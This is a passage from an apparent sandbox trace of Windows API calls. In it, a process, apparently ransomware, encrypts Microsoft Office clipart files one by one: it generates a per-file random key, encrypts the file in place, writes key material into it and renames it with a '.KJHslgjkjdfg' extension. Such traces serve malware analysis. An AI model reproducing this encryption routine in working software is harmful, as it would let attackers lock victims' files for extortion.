lpNumberOfBytesRead=0x4dff27c*=0x2645, lpOverlapped=0x0) returned 1 [0214.572] CryptEncrypt (in: hKey=0x2f182c8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x4bf0020*, pdwDataLen=0x4dff258*=0x2650, dwBufLen=0x2650 | out: pbData=0x4bf0020*, pdwDataLen=0x4dff258*=0x2650) returned 1 [0214.572] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0214.572] WriteFile (in: hFile=0x130, lpBuffer=0x4bf0020*, nNumberOfBytesToWrite=0x2650, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesWritten=0x4dff270*=0x2650, lpOverlapped=0x0) returned 1 [0214.572] CryptDestroyKey (hKey=0x2f182c8) returned 1 [0214.572] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x2724, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0214.572] SetEndOfFile (hFile=0x130) returned 1 [0214.575] GetProcessHeap () returned 0x2ef0000 [0214.575] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0c898 | out: hHeap=0x2ef0000) returned 1 [0214.575] GetProcessHeap () returned 0x2ef0000 [0214.575] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0ee68 | out: hHeap=0x2ef0000) returned 1 [0214.575] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\JAVA_01.MID" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\java_01.mid"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\JAVA_01.MID.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\java_01.mid.kjhslgjkjdfg")) returned 1 [0214.577] CloseHandle (hObject=0x130) returned 1 [0214.577] FindNextFileW (in: hFindFile=0x2f18288, lpFindFileData=0x4dff300 | out: lpFindFileData=0x4dff300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xca0e1800, ftCreationTime.dwHighDateTime=0x1bd0320, ftLastAccessTime.dwLowDateTime=0x567be5d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xca0e1800, ftLastWriteTime.dwHighDateTime=0x1bd0320, nFileSizeHigh=0x0, nFileSizeLow=0x16d3, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="JNGLE_01.MID", cAlternateFileName="")) returned 1 [0214.577] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\JNGLE_01.MID" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\jngle_01.mid"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x130 [0214.578] GetProcessHeap () returned 0x2ef0000 [0214.579] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x10) returned 0x2f0ee68 [0214.579] CryptGenRandom (in: hProv=0x2f0c268, dwLen=0x10, pbBuffer=0x2f0ee68 | out: pbBuffer=0x2f0ee68) returned 1 [0214.579] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff290 | out: lpNewFilePointer=0x0) returned 1 [0214.579] WriteFile (in: hFile=0x130, lpBuffer=0x4dff2a0*, nNumberOfBytesToWrite=0xd, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff2a0*, lpNumberOfBytesWritten=0x4dff270*=0xd, lpOverlapped=0x0) returned 1 [0214.584] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14b20, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dff274 | out: phKey=0x4dff274*=0x2f182c8) returned 1 [0214.584] CryptSetKeyParam (hKey=0x2f182c8, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0214.584] GetProcessHeap () returned 0x2ef0000 [0214.584] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x40) returned 0x2f0c898 [0214.584] CryptEncrypt (in: hKey=0x2f182c8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2f0c898*, pdwDataLen=0x4dff258*=0x40, dwBufLen=0x40 | out: pbData=0x2f0c898*, pdwDataLen=0x4dff258*=0x40) returned 1 [0214.584] CryptDestroyKey (hKey=0x2f182c8) returned 1 [0214.584] WriteFile (in: hFile=0x130, lpBuffer=0x2f0c898*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f0c898*, lpNumberOfBytesWritten=0x4dff270*=0x40, lpOverlapped=0x0) returned 1 [0214.584] WriteFile (in: hFile=0x130, lpBuffer=0x4dff278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff278*, lpNumberOfBytesWritten=0x4dff270*=0x4, lpOverlapped=0x0) returned 1 [0214.584] WriteFile (in: hFile=0x130, lpBuffer=0x2f0ee68*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f0ee68*, lpNumberOfBytesWritten=0x4dff270*=0x10, lpOverlapped=0x0) returned 1 [0214.584] WriteFile (in: hFile=0x130, lpBuffer=0x2f11a08*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f11a08*, lpNumberOfBytesWritten=0x4dff270*=0x80, lpOverlapped=0x0) returned 1 [0214.584] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff298 | out: lpNewFilePointer=0x0) returned 1 [0214.584] WriteFile (in: hFile=0x130, lpBuffer=0x4dff288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff288*, lpNumberOfBytesWritten=0x4dff270*=0x8, lpOverlapped=0x0) returned 1 [0214.585] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14b20, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dff274 | out: phKey=0x4dff274*=0x2f182c8) returned 1 [0214.585] CryptSetKeyParam (hKey=0x2f182c8, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0214.585] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0214.585] ReadFile (in: hFile=0x130, lpBuffer=0x4bf0020, nNumberOfBytesToRead=0x16d3, lpNumberOfBytesRead=0x4dff27c, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesRead=0x4dff27c*=0x16d3, lpOverlapped=0x0) returned 1 [0214.586] CryptEncrypt (in: hKey=0x2f182c8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x4bf0020*, pdwDataLen=0x4dff258*=0x16e0, dwBufLen=0x16e0 | out: pbData=0x4bf0020*, pdwDataLen=0x4dff258*=0x16e0) returned 1 [0214.586] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0214.586] WriteFile (in: hFile=0x130, lpBuffer=0x4bf0020*, nNumberOfBytesToWrite=0x16e0, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesWritten=0x4dff270*=0x16e0, lpOverlapped=0x0) returned 1 [0214.586] CryptDestroyKey (hKey=0x2f182c8) returned 1 [0214.587] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x17b4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0214.587] SetEndOfFile (hFile=0x130) returned 1 [0214.589] GetProcessHeap () returned 0x2ef0000 [0214.589] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0c898 | out: hHeap=0x2ef0000) returned 1 [0214.589] GetProcessHeap () returned 0x2ef0000 [0214.590] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0ee68 | out: hHeap=0x2ef0000) returned 1 [0214.590] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\JNGLE_01.MID" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\jngle_01.mid"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\JNGLE_01.MID.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\jngle_01.mid.kjhslgjkjdfg")) returned 1 [0214.591] CloseHandle (hObject=0x130) returned 1 [0214.592] FindNextFileW (in: hFindFile=0x2f18288, lpFindFileData=0x4dff300 | out: lpFindFileData=0x4dff300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x968b8700, ftCreationTime.dwHighDateTime=0x1bd4ae3, ftLastAccessTime.dwLowDateTime=0x58b00bb0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x968b8700, ftLastWriteTime.dwHighDateTime=0x1bd4ae3, nFileSizeHigh=0x0, nFileSizeLow=0x15f6, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="MP00021_.WMF", cAlternateFileName="")) returned 1 [0214.592] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\MP00021_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\mp00021_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x130 [0214.594] GetProcessHeap () returned 0x2ef0000 [0214.594] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x10) returned 0x2f0ee68 [0214.594] CryptGenRandom (in: hProv=0x2f0c268, dwLen=0x10, pbBuffer=0x2f0ee68 | out: pbBuffer=0x2f0ee68) returned 1 [0214.594] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff290 | out: lpNewFilePointer=0x0) returned 1 [0214.594] WriteFile (in: hFile=0x130, lpBuffer=0x4dff2a0*, nNumberOfBytesToWrite=0xa, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff2a0*, lpNumberOfBytesWritten=0x4dff270*=0xa, lpOverlapped=0x0) returned 1 [0214.597] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14c70, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dff274 | out: phKey=0x4dff274*=0x2f182c8) returned 1 [0214.597] CryptSetKeyParam (hKey=0x2f182c8, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0214.597] GetProcessHeap () returned 0x2ef0000 [0214.597] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x40) returned 0x2f0c898 [0214.598] CryptEncrypt (in: hKey=0x2f182c8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2f0c898*, pdwDataLen=0x4dff258*=0x40, dwBufLen=0x40 | out: pbData=0x2f0c898*, pdwDataLen=0x4dff258*=0x40) returned 1 [0214.598] CryptDestroyKey (hKey=0x2f182c8) returned 1 [0214.598] WriteFile (in: hFile=0x130, lpBuffer=0x2f0c898*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f0c898*, lpNumberOfBytesWritten=0x4dff270*=0x40, lpOverlapped=0x0) returned 1 [0214.598] WriteFile (in: hFile=0x130, lpBuffer=0x4dff278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff278*, lpNumberOfBytesWritten=0x4dff270*=0x4, lpOverlapped=0x0) returned 1 [0214.598] WriteFile (in: hFile=0x130, lpBuffer=0x2f0ee68*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f0ee68*, lpNumberOfBytesWritten=0x4dff270*=0x10, lpOverlapped=0x0) returned 1 [0214.598] WriteFile (in: hFile=0x130, lpBuffer=0x2f149f0*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f149f0*, lpNumberOfBytesWritten=0x4dff270*=0x80, lpOverlapped=0x0) returned 1 [0214.598] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff298 | out: lpNewFilePointer=0x0) returned 1 [0214.598] WriteFile (in: hFile=0x130, lpBuffer=0x4dff288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff288*, lpNumberOfBytesWritten=0x4dff270*=0x8, lpOverlapped=0x0) returned 1 [0214.599] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14c70, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dff274 | out: phKey=0x4dff274*=0x2f182c8) returned 1 [0214.599] CryptSetKeyParam (hKey=0x2f182c8, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0214.599] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0214.599] ReadFile (in: hFile=0x130, lpBuffer=0x4bf0020, nNumberOfBytesToRead=0x15f6, lpNumberOfBytesRead=0x4dff27c, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesRead=0x4dff27c*=0x15f6, lpOverlapped=0x0) returned 1 [0214.600] CryptEncrypt (in: hKey=0x2f182c8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x4bf0020*, pdwDataLen=0x4dff258*=0x1600, dwBufLen=0x1600 | out: pbData=0x4bf0020*, pdwDataLen=0x4dff258*=0x1600) returned 1 [0214.600] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0214.600] WriteFile (in: hFile=0x130, lpBuffer=0x4bf0020*, nNumberOfBytesToWrite=0x1600, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesWritten=0x4dff270*=0x1600, lpOverlapped=0x0) returned 1 [0214.600] CryptDestroyKey (hKey=0x2f182c8) returned 1 [0214.600] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x16d4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0214.601] SetEndOfFile (hFile=0x130) returned 1 [0214.603] GetProcessHeap () returned 0x2ef0000 [0214.603] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0c898 | out: hHeap=0x2ef0000) returned 1 [0214.603] GetProcessHeap () returned 0x2ef0000 [0214.603] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0ee68 | out: hHeap=0x2ef0000) returned 1 [0214.603] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\MP00021_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\mp00021_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\MP00021_.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\mp00021_.wmf.kjhslgjkjdfg")) returned 1 [0214.605] CloseHandle (hObject=0x130) returned 1 [0214.605] FindNextFileW (in: hFindFile=0x2f18288, lpFindFileData=0x4dff300 | out: lpFindFileData=0x4dff300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x19acdd00, ftCreationTime.dwHighDateTime=0x1bd4ae4, ftLastAccessTime.dwLowDateTime=0x58b00bb0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x19acdd00, ftLastWriteTime.dwHighDateTime=0x1bd4ae4, nFileSizeHigh=0x0, nFileSizeLow=0x1090, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="MP00132_.WMF", cAlternateFileName="")) returned 1 [0214.605] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\MP00132_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\mp00132_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x130 [0214.606] GetProcessHeap () returned 0x2ef0000 [0214.606] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x10) returned 0x2f0ee68 [0214.606] CryptGenRandom (in: hProv=0x2f0c268, dwLen=0x10, pbBuffer=0x2f0ee68 | out: pbBuffer=0x2f0ee68) returned 1 [0214.607] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff290 | out: lpNewFilePointer=0x0) returned 1 [0214.607] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14b20, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dff274 | out: phKey=0x4dff274*=0x2f182c8) returned 1 [0214.607] CryptSetKeyParam (hKey=0x2f182c8, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0214.607] GetProcessHeap () returned 0x2ef0000 [0214.607] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x40) returned 0x2f0c898 [0214.607] CryptEncrypt (in: hKey=0x2f182c8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2f0c898*, pdwDataLen=0x4dff258*=0x40, dwBufLen=0x40 | out: pbData=0x2f0c898*, pdwDataLen=0x4dff258*=0x40) returned 1 [0214.607] CryptDestroyKey (hKey=0x2f182c8) returned 1 [0214.607] WriteFile (in: hFile=0x130, lpBuffer=0x2f0c898*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f0c898*, lpNumberOfBytesWritten=0x4dff270*=0x40, lpOverlapped=0x0) returned 1 [0214.609] WriteFile (in: hFile=0x130, lpBuffer=0x4dff278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff278*, lpNumberOfBytesWritten=0x4dff270*=0x4, lpOverlapped=0x0) returned 1 [0214.610] WriteFile (in: hFile=0x130, lpBuffer=0x2f0ee68*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f0ee68*, lpNumberOfBytesWritten=0x4dff270*=0x10, lpOverlapped=0x0) returned 1 [0214.610] WriteFile (in: hFile=0x130, lpBuffer=0x2f11a08*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f11a08*, lpNumberOfBytesWritten=0x4dff270*=0x80, lpOverlapped=0x0) returned 1 [0214.610] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff298 | out: lpNewFilePointer=0x0) returned 1 [0214.610] WriteFile (in: hFile=0x130, lpBuffer=0x4dff288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff288*, lpNumberOfBytesWritten=0x4dff270*=0x8, lpOverlapped=0x0) returned 1 [0214.610] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14b20, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dff274 | out: phKey=0x4dff274*=0x2f182c8) returned 1 [0214.610] CryptSetKeyParam (hKey=0x2f182c8, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0214.610] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0214.610] ReadFile (in: hFile=0x130, lpBuffer=0x4bf0020, nNumberOfBytesToRead=0x1090, lpNumberOfBytesRead=0x4dff27c, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesRead=0x4dff27c*=0x1090, lpOverlapped=0x0) returned 1 [0214.611] CryptEncrypt (in: hKey=0x2f182c8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x4bf0020*, pdwDataLen=0x4dff258*=0x1090, dwBufLen=0x1090 | out: pbData=0x4bf0020*, pdwDataLen=0x4dff258*=0x1090) returned 1 [0214.612] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0214.612] WriteFile (in: hFile=0x130, lpBuffer=0x4bf0020*, nNumberOfBytesToWrite=0x1090, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesWritten=0x4dff270*=0x1090, lpOverlapped=0x0) returned 1 [0214.612] CryptDestroyKey (hKey=0x2f182c8) returned 1 [0214.612] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x1164, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0214.612] SetEndOfFile (hFile=0x130) returned 1 [0214.615] GetProcessHeap () returned 0x2ef0000 [0214.615] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0c898 | out: hHeap=0x2ef0000) returned 1 [0214.615] GetProcessHeap () returned 0x2ef0000 [0214.615] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0ee68 | out: hHeap=0x2ef0000) returned 1 [0214.615] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\MP00132_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\mp00132_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\MP00132_.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\mp00132_.wmf.kjhslgjkjdfg")) returned 1 [0214.617] CloseHandle (hObject=0x130) returned 1 [0214.617] FindNextFileW (in: hFindFile=0x2f18288, lpFindFileData=0x4dff300 | out: lpFindFileData=0x4dff300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1b16fc00, ftCreationTime.dwHighDateTime=0x1bd4bef, ftLastAccessTime.dwLowDateTime=0x69c72af0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x1b16fc00, ftLastWriteTime.dwHighDateTime=0x1bd4bef, nFileSizeHigh=0x0, nFileSizeLow=0x31e2, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="MP00646_.WMF", cAlternateFileName="")) returned 1 [0214.617] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\MP00646_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\mp00646_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x130 [0214.618] GetProcessHeap () returned 0x2ef0000 [0214.618] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x10) returned 0x2f0ee68 [0214.618] CryptGenRandom (in: hProv=0x2f0c268, dwLen=0x10, pbBuffer=0x2f0ee68 | out: pbBuffer=0x2f0ee68) returned 1 [0214.618] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff290 | out: lpNewFilePointer=0x0) returned 1 [0214.618] WriteFile (in: hFile=0x130, lpBuffer=0x4dff2a0*, nNumberOfBytesToWrite=0xe, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff2a0*, lpNumberOfBytesWritten=0x4dff270*=0xe, lpOverlapped=0x0) returned 1 [0214.621] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14c70, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dff274 | out: phKey=0x4dff274*=0x2f182c8) returned 1 [0214.622] CryptSetKeyParam (hKey=0x2f182c8, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0214.622] GetProcessHeap () returned 0x2ef0000 [0214.622] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x40) returned 0x2f0c898 [0214.622] CryptEncrypt (in: hKey=0x2f182c8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2f0c898*, pdwDataLen=0x4dff258*=0x40, dwBufLen=0x40 | out: pbData=0x2f0c898*, pdwDataLen=0x4dff258*=0x40) returned 1 [0214.622] CryptDestroyKey (hKey=0x2f182c8) returned 1 [0214.622] WriteFile (in: hFile=0x130, lpBuffer=0x2f0c898*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f0c898*, lpNumberOfBytesWritten=0x4dff270*=0x40, lpOverlapped=0x0) returned 1 [0214.622] WriteFile (in: hFile=0x130, lpBuffer=0x4dff278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff278*, lpNumberOfBytesWritten=0x4dff270*=0x4, lpOverlapped=0x0) returned 1 [0214.622] WriteFile (in: hFile=0x130, lpBuffer=0x2f0ee68*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f0ee68*, lpNumberOfBytesWritten=0x4dff270*=0x10, lpOverlapped=0x0) returned 1 [0214.622] WriteFile (in: hFile=0x130, lpBuffer=0x2f149f0*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f149f0*, lpNumberOfBytesWritten=0x4dff270*=0x80, lpOverlapped=0x0) returned 1 [0214.622] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff298 | out: lpNewFilePointer=0x0) returned 1 [0214.622] WriteFile (in: hFile=0x130, lpBuffer=0x4dff288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff288*, lpNumberOfBytesWritten=0x4dff270*=0x8, lpOverlapped=0x0) returned 1 [0214.623] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14c70, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dff274 | out: phKey=0x4dff274*=0x2f182c8) returned 1 [0214.623] CryptSetKeyParam (hKey=0x2f182c8, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0214.623] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0214.623] ReadFile (in: hFile=0x130, lpBuffer=0x4bf0020, nNumberOfBytesToRead=0x31e2, lpNumberOfBytesRead=0x4dff27c, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesRead=0x4dff27c*=0x31e2, lpOverlapped=0x0) returned 1 [0214.624] CryptEncrypt (in: hKey=0x2f182c8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x4bf0020*, pdwDataLen=0x4dff258*=0x31f0, dwBufLen=0x31f0 | out: pbData=0x4bf0020*, pdwDataLen=0x4dff258*=0x31f0) returned 1 [0214.624] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0214.624] WriteFile (in: hFile=0x130, lpBuffer=0x4bf0020*, nNumberOfBytesToWrite=0x31f0, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesWritten=0x4dff270*=0x31f0, lpOverlapped=0x0) returned 1 [0214.625] CryptDestroyKey (hKey=0x2f182c8) returned 1 [0214.625] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x32c4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0214.625] SetEndOfFile (hFile=0x130) returned 1 [0214.628] GetProcessHeap () returned 0x2ef0000 [0214.628] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0c898 | out: hHeap=0x2ef0000) returned 1 [0214.628] GetProcessHeap () returned 0x2ef0000 [0214.628] HeapFree 